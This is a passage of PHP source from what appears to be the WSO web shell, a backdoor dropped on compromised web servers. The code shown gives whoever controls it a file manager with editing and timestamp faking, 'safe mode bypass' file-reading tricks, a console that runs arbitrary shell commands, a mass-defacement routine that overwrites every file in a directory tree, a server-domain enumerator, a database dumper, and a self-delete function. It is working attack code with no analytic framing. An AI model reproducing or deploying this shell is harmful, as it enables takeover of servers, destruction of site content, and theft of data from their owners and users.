676 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
677 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
678 $l = $l?0:1;
679 }
680 echo "<tr><td colspan=7>
681 <input type=hidden name=a value='FilesMan'>
682 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
683 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
684 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
685 if(class_exists('ZipArchive'))
686 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
687 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
688 echo "<option value='paste'>Paste / zip</option>";
689 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
690 wsoFooter();
691}
692
693function actionStringTools() {
694 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
695 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
696 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
697 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
698 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
699 $stringTools = array(
700 'Base64 encode' => 'base64_encode',
701 'Base64 decode' => 'base64_decode',
702 'Url encode' => 'urlencode',
703 'Url decode' => 'urldecode',
704 'Full urlencode' => 'full_urlencode',
705 'md5 hash' => 'md5',
706 'sha1 hash' => 'sha1',
707 'crypt' => 'crypt',
708 'CRC32' => 'crc32',
709 'ASCII to HEX' => 'ascii2hex',
710 'HEX to ASCII' => 'hex2ascii',
711 'HEX to DEC' => 'hexdec',
712 'HEX to BIN' => 'hex2bin',
713 'DEC to HEX' => 'dechex',
714 'DEC to BIN' => 'decbin',
715 'BIN to HEX' => 'binhex',
716 'BIN to DEC' => 'bindec',
717 'String to lower case' => 'strtolower',
718 'String to upper case' => 'strtoupper',
719 'Htmlspecialchars' => 'htmlspecialchars',
720 'String length' => 'strlen',
721 );
722 if(isset($_POST['ajax'])) {
723 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
724 ob_start();
725 if(in_array($_POST['p1'], $stringTools))
726 echo $_POST['p1']($_POST['p2']);
727 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
728 echo strlen($temp), "\n", $temp;
729 exit;
730 }
731 wsoHeader();
732 echo '<h1>String conversions</h1><div class=content>';
733 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
734 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
735 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
736 foreach($stringTools as $k => $v)
737 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
738 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
739 if(!empty($_POST['p1'])) {
740 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
741 }
742 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
743 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
744 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
745 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
746 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
747 <tr><td></td><td><input type='submit' value='>>'></td></tr>
748 </table></form>";
749
750 function wsoRecursiveGlob($path) {
751 if(substr($path, -1) != '/')
752 $path.='/';
753 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
754 if(is_array($paths)&&@count($paths)) {
755 foreach($paths as $item) {
756 if(@is_dir($item)){
757 if($path!=$item)
758 wsoRecursiveGlob($item);
759 } else {
760 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
761 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
762 }
763 }
764 }
765 }
766 if(@$_POST['p3'])
767 wsoRecursiveGlob($_POST['c']);
768 echo "</div><br><h1>Search for hash:</h1><div class=content>
769 <form method='post' target='_blank' name='hf'>
770 <input type='text' name='hash' style='width:200px;'><br>
771 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
772 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
773 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
774 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
775 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
776 </form></div>";
777 wsoFooter();
778}
779
780function actionFilesTools() {
781 if( isset($_POST['p1']) )
782 $_POST['p1'] = urldecode($_POST['p1']);
783 if(@$_POST['p2']=='download') {
784 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
785 ob_start("ob_gzhandler", 4096);
786 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
787 if (function_exists("mime_content_type")) {
788 $type = @mime_content_type($_POST['p1']);
789 header("Content-Type: ".$type);
790 }
791 $fp = @fopen($_POST['p1'], "r");
792 if($fp) {
793 while(!@feof($fp))
794 echo @fread($fp, 1024);
795 fclose($fp);
796 }
797 }exit;
798 }
799 if( @$_POST['p2'] == 'mkfile' ) {
800 if(!file_exists($_POST['p1'])) {
801 $fp = @fopen($_POST['p1'], 'w');
802 if($fp) {
803 $_POST['p2'] = "edit";
804 fclose($fp);
805 }
806 }
807 }
808 wsoHeader();
809 echo '<h1>File tools</h1><div class=content>';
810 if( !file_exists(@$_POST['p1']) ) {
811 echo 'File not exists';
812 wsoFooter();
813 return;
814 }
815 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
816 if(!$uid) {
817 $uid['name'] = @fileowner($_POST['p1']);
818 $gid['name'] = @filegroup($_POST['p1']);
819 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
820 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
821 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
822 if( empty($_POST['p2']) )
823 $_POST['p2'] = 'view';
824 if( is_file($_POST['p1']) )
825 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
826 else
827 $m = array('Chmod', 'Rename', 'Touch');
828 foreach($m as $v)
829 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
830 echo '<br><br>';
831 switch($_POST['p2']) {
832 case 'view':
833 echo '<pre class=ml1>';
834 $fp = @fopen($_POST['p1'], 'r');
835 if($fp) {
836 while( !@feof($fp) )
837 echo htmlspecialchars(@fread($fp, 1024));
838 @fclose($fp);
839 }
840 echo '</pre>';
841 break;
842 case 'highlight':
843 if( @is_readable($_POST['p1']) ) {
844 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
845 $code = @highlight_file($_POST['p1'],true);
846 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
847 }
848 break;
849 case 'chmod':
850 if( !empty($_POST['p3']) ) {
851 $perms = 0;
852 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
853 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
854 if(!@chmod($_POST['p1'], $perms))
855 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
856 }
857 clearstatcache();
858 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
859 break;
860 case 'edit':
861 if( !is_writable($_POST['p1'])) {
862 echo 'File isn\'t writeable';
863 break;
864 }
865 if( !empty($_POST['p3']) ) {
866 $time = @filemtime($_POST['p1']);
867 $_POST['p3'] = substr($_POST['p3'],1);
868 $fp = @fopen($_POST['p1'],"w");
869 if($fp) {
870 @fwrite($fp,$_POST['p3']);
871 @fclose($fp);
872 echo 'Saved!<br><script>p3_="";</script>';
873 @touch($_POST['p1'],$time,$time);
874 }
875 }
876 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
877 $fp = @fopen($_POST['p1'], 'r');
878 if($fp) {
879 while( !@feof($fp) )
880 echo htmlspecialchars(@fread($fp, 1024));
881 @fclose($fp);
882 }
883 echo '</textarea><input type=submit value=">>"></form>';
884 break;
885 case 'hexdump':
886 $c = @file_get_contents($_POST['p1']);
887 $n = 0;
888 $h = array('00000000<br>','','');
889 $len = strlen($c);
890 for ($i=0; $i<$len; ++$i) {
891 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
892 switch ( ord($c[$i]) ) {
893 case 0: $h[2] .= ' '; break;
894 case 9: $h[2] .= ' '; break;
895 case 10: $h[2] .= ' '; break;
896 case 13: $h[2] .= ' '; break;
897 default: $h[2] .= $c[$i]; break;
898 }
899 $n++;
900 if ($n == 32) {
901 $n = 0;
902 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
903 $h[1] .= '<br>';
904 $h[2] .= "\n";
905 }
906 }
907 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
908 break;
909 case 'rename':
910 if( !empty($_POST['p3']) ) {
911 if(!@rename($_POST['p1'], $_POST['p3']))
912 echo 'Can\'t rename!<br>';
913 else
914 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
915 }
916 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
917 break;
918 case 'touch':
919 if( !empty($_POST['p3']) ) {
920 $time = strtotime($_POST['p3']);
921 if($time) {
922 if(!touch($_POST['p1'],$time,$time))
923 echo 'Fail!';
924 else
925 echo 'Touched!';
926 } else echo 'Bad time format!';
927 }
928 clearstatcache();
929 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
930 break;
931 }
932 echo '</div>';
933 wsoFooter();
934}
935
936function actionSafeMode() {
937 $temp='';
938 ob_start();
939 switch($_POST['p1']) {
940 case 1:
941 $temp=@tempnam($test, 'cx');
942 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
943 echo @file_get_contents($temp);
944 unlink($temp);
945 } else
946 echo 'Sorry... Can\'t open file';
947 break;
948 case 2:
949 $files = glob($_POST['p2'].'*');
950 if( is_array($files) )
951 foreach ($files as $filename)
952 echo $filename."\n";
953 break;
954 case 3:
955 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
956 curl_exec($ch);
957 break;
958 case 4:
959 ini_restore("safe_mode");
960 ini_restore("open_basedir");
961 include($_POST['p2']);
962 break;
963 case 5:
964 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
965 $uid = @posix_getpwuid($_POST['p2']);
966 if ($uid)
967 echo join(':',$uid)."\n";
968 }
969 break;
970 }
971 $temp = ob_get_clean();
972 wsoHeader();
973 echo '<h1>Safe mode bypass</h1><div class=content>';
974 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
975 if($temp)
976 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
977 echo '</div>';
978 wsoFooter();
979}
980
981function actionConsole() {
982 if(isset($_POST['ajax'])) {
983 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
984 ob_start();
985 echo "document.cf.cmd.value='';\n";
986 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
987 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
988 if(@chdir($match[1])) {
989 $GLOBALS['cwd'] = @getcwd();
990 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
991 }
992 }
993 echo "document.cf.output.value+='".$temp."';";
994 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
995 $temp = ob_get_clean();
996 echo strlen($temp), "\n", $temp;
997 exit;
998 }
999 wsoHeader();
1000 echo "<script>
1001if(window.Event) window.captureEvents(Event.KEYDOWN);
1002var cmds = new Array('');
1003var cur = 0;
1004function kp(e) {
1005 var n = (window.Event) ? e.which : e.keyCode;
1006 if(n == 38) {
1007 cur--;
1008 if(cur>=0)
1009 document.cf.cmd.value = cmds[cur];
1010 else
1011 cur++;
1012 } else if(n == 40) {
1013 cur++;
1014 if(cur < cmds.length)
1015 document.cf.cmd.value = cmds[cur];
1016 else
1017 cur--;
1018 }
1019}
1020function add(cmd) {
1021 cmds.pop();
1022 cmds.push(cmd);
1023 cmds.push('');
1024 cur = cmds.length-1;
1025}
1026</script>";
1027 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1028 foreach($GLOBALS['aliases'] as $n => $v) {
1029 if($v == '') {
1030 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1031 continue;
1032 }
1033 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1034 }
1035 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1036 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
1037 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1038 if(!empty($_POST['p1'])) {
1039 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1040 }
1041 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1042 echo '</form></div><script>document.cf.cmd.focus();</script>';
1043 wsoFooter();
1044}
1045
1046function actionSelfRemove() {
1047
1048 if($_POST['p1'] == 'yes')
1049 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1050 die('Shell has been removed');
1051 else
1052 echo 'unlink error!';
1053 if($_POST['p1'] != 'yes')
1054 wsoHeader();
1055 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1056 wsoFooter();
1057}
1058//** updates
1059
1060 function clear_fill($filo,$index){
1061 if(file_exists($filo)){
1062 $handle = fopen($filo,'w');
1063 fwrite($handle,'');
1064 fwrite($handle,$index);
1065 fclose($handle); } }
1066
1067/////////
1068
1069function do_it(){
1070 global $dir , $index ;
1071 chdir($dir);
1072 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1073 $filos = scandir($dir) ;
1074 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
1075 sort($filos);
1076 $n = 0 ;
1077 echo "<center><textarea style='width: 950px; height: 300px;'>";
1078 foreach ($filos as $filo){
1079 if ( $filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow) ) {
1080 echo "$dir/$filo ====> ";
1081 edit_file($filo,$index);
1082 flush();
1083 $n = $n +1 ;
1084 } }
1085 echo "</textarea>";
1086 echo "<br>";
1087 echo "<br><h3>$n File Detected</h3></center><br>";
1088 }
1089
1090//////////////////////////////
1091function ListFiles($dirall) {
1092
1093 if($dh = opendir($dirall)) {
1094
1095 $filos = Array();
1096 $inner_files = Array();
1097 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1098 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
1099 while($filo = readdir($dh)) {
1100 if($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow) ) {
1101 if(is_dir($dirall . "/" . $filo)) {
1102 $inner_files = ListFiles($dirall . "/" . $filo);
1103 if(is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1104 } else {
1105 array_push($filos, $dirall . "/" . $filo);
1106 }
1107 }
1108 }
1109
1110 closedir($dh);
1111 return $filos;
1112 }
1113}
1114 //////////////////////////////////////////
1115 function do_it_all(){
1116 global $index ;
1117 $dirall=$_POST['dir'];
1118 echo "<center><textarea style='width: 950px; height: 300px;'>";
1119 echo "Blowing All Files In Main Dir \n Task Started ;D \n";
1120foreach (ListFiles($dirall) as $key=>$filo){
1121 $filo = str_replace('//',"/",$filo);
1122 echo "$filo ===>";
1123 edit_file($filo,$index);
1124 flush();
1125}
1126 echo "</textarea>";
1127$key = $key+1;
1128echo "<br><h3>$key File Detected</h3></center><br>"; }
1129
1130////////
1131
1132function actionMass() {
1133 wsoHeader();
1134
1135 echo "<h1>Mass Defeace All Files</h1><div class=content>
1136 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1137 <strong>Index Code Here :</strong><br>
1138 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1139 <strong>Main Dir : </strong>
1140 <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
1141 <select name='option' style='width: 200px'>
1142 <option> </option>
1143 <option>Only for Selected Folder</option>
1144 <option>For all Sub Folders</option>
1145 </select>
1146 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1147if(isset($_POST['p1'])) {
1148 if ($_POST['indexit'])
1149{
1150 if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
1151 elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
1152 else {echo "Please select one option to work on it !!"; }
1153} }
1154
1155 wsoFooter();
1156}
1157
1158function actionDomain() {
1159 wsoHeader();
1160echo "<h1>Get All Server Domains</h1><div class=content>";
1161$d0mains = @file("/etc/named.conf");
1162
1163if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
1164else {
1165echo "<table align=center border=1>
1166<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1167
1168foreach($d0mains as $d0main){
1169
1170if(eregi("zone",$d0main)){
1171
1172preg_match_all('#zone "(.*)"#', $d0main, $domains);
1173flush();
1174
1175if(strlen(trim($domains[1][0])) > 2){
1176
1177$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1178
1179echo "<tr><td><a target='_blank' href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
1180
1181}}}
1182
1183echo "</table>
1184<p align='center'>";
1185}
1186 wsoFooter();
1187}
1188
1189function actionSql() {
1190 class DbClass {
1191 var $type;
1192 var $link;
1193 var $res;
1194 function DbClass($type) {
1195 $this->type = $type;
1196 }
1197 function connect($host, $user, $pass, $dbname){
1198 switch($this->type) {
1199 case 'mysql':
1200 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1201 break;
1202 case 'pgsql':
1203 $host = explode(':', $host);
1204 if(!$host[1]) $host[1]=5432;
1205 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1206 break;
1207 }
1208 return false;
1209 }
1210 function selectdb($db) {
1211 switch($this->type) {
1212 case 'mysql':
1213 if (@mysql_select_db($db))return true;
1214 break;
1215 }
1216 return false;
1217 }
1218 function query($str) {
1219 switch($this->type) {
1220 case 'mysql':
1221 return $this->res = @mysql_query($str);
1222 break;
1223 case 'pgsql':
1224 return $this->res = @pg_query($this->link,$str);
1225 break;
1226 }
1227 return false;
1228 }
1229 function fetch() {
1230 $res = func_num_args()?func_get_arg(0):$this->res;
1231 switch($this->type) {
1232 case 'mysql':
1233 return @mysql_fetch_assoc($res);
1234 break;
1235 case 'pgsql':
1236 return @pg_fetch_assoc($res);
1237 break;
1238 }
1239 return false;
1240 }
1241 function listDbs() {
1242 switch($this->type) {
1243 case 'mysql':
1244 return $this->res = @mysql_list_dbs($this->link);
1245 break;
1246 case 'pgsql':
1247 return $this->res = $this->query("SELECT datname FROM pg_database");
1248 break;
1249 }
1250 return false;
1251 }
1252 function listTables() {
1253 switch($this->type) {
1254 case 'mysql':
1255 return $this->res = $this->query('SHOW TABLES');
1256 break;
1257 case 'pgsql':
1258 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1259 break;
1260 }
1261 return false;
1262 }
1263 function error() {
1264 switch($this->type) {
1265 case 'mysql':
1266 return @mysql_error($this->link);
1267 break;
1268 case 'pgsql':
1269 return @pg_last_error($this->link);
1270 break;
1271 }
1272 return false;
1273 }
1274 function setCharset($str) {
1275 switch($this->type) {
1276 case 'mysql':
1277 if(function_exists('mysql_set_charset'))
1278 return @mysql_set_charset($str, $this->link);
1279 else
1280 $this->query('SET CHARSET '.$str);
1281 break;
1282 case 'pgsql':
1283 return @pg_set_client_encoding($this->link, $str);
1284 break;
1285 }
1286 return false;
1287 }
1288 function loadFile($str) {
1289 switch($this->type) {
1290 case 'mysql':
1291 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1292 break;
1293 case 'pgsql':
1294 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1295 $r=array();
1296 while($i=$this->fetch())
1297 $r[] = $i['file'];
1298 $this->query('drop table wso2');
1299 return array('file'=>implode("\n",$r));
1300 break;
1301 }
1302 return false;
1303 }
1304 function dump($table) {
1305 switch($this->type) {
1306 case 'mysql':
1307 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1308 $create = mysql_fetch_array($res);
1309 echo $create[1].";\n\n";
1310 $this->query('SELECT * FROM `'.$table.'`');
1311 while($item = $this->fetch()) {
1312 $columns = array();
1313 foreach($item as $k=>$v) {
1314 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1315 $columns[] = "`".$k."`";
1316 }
1317 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1318 }
1319 break;
1320 case 'pgsql':
1321 $this->query('SELECT * FROM '.$table);
1322 while($item = $this->fetch()) {
1323 $columns = array();
1324 foreach($item as $k=>$v) {
1325 $item[$k] = "'".addslashes($v)."'";
1326 $columns[] = $k;
1327 }
1328 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1329 }
1330 break;
1331 }
1332 return false;
1333 }
1334 };
1335 $db = new DbClass($_POST['type']);
1336 if(@$_POST['p2']=='download') {
1337 ob_start("ob_gzhandler", 4096);
1338 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1339 $db->selectdb($_POST['sql_base']);
1340 header("Content-Disposition: attachment; filename=dump.sql");
1341 header("Content-Type: text/plain");
1342 foreach($_POST['tbl'] as $v)
1343 $db->dump($v);
1344 exit;
1345 }
1346 wsoHeader();
1347 echo "
1348<h1>Sql browser</h1><div class=content>
1349<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1350<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1351<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1352<td><select name='type'><option value='mysql' ";
1353 if(@$_POST['type']=='mysql')echo 'selected';
1354echo ">MySql</option><option value='pgsql' ";
1355if(@$_POST['type']=='pgsql')echo 'selected';
1356echo ">PostgreSql</option></select></td>
1357<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1358<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1359<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1360 $tmp = "<input type=text name=sql_base value=''>";
1361 if(isset($_POST['sql_host'])){
1362 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1363 switch($_POST['charset']) {
1364 case "Windows-1251": $db->setCharset('cp1251'); break;
1365 case "UTF-8": $db->setCharset('utf8'); break;
1366 case "KOI8-R": $db->setCharset('koi8r'); break;
1367 case "KOI8-U": $db->setCharset('koi8u'); break;
1368 case "cp866": $db->setCharset('cp866'); break;
1369 }
1370 $db->listDbs();
1371 echo "<select name=sql_base><option value=''></option>";
1372 while($item = $db->fetch()) {
1373 list($key, $value) = each($item);
1374 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1375 }
1376 echo '</select>';
1377 }
1378 else echo $tmp;
1379 }else
1380 echo $tmp;
1381 echo "</td>
1382 <td><input type=submit value='>>'></td>
1383 </tr>
1384 </table>
1385 <script>
1386 function st(t,l) {
1387 document.sf.p1.value = 'select';
1388 document.sf.p2.value = t;
1389 if(l!=null)document.sf.p3.value = l;
1390 document.sf.submit();
1391 }
1392 function is() {
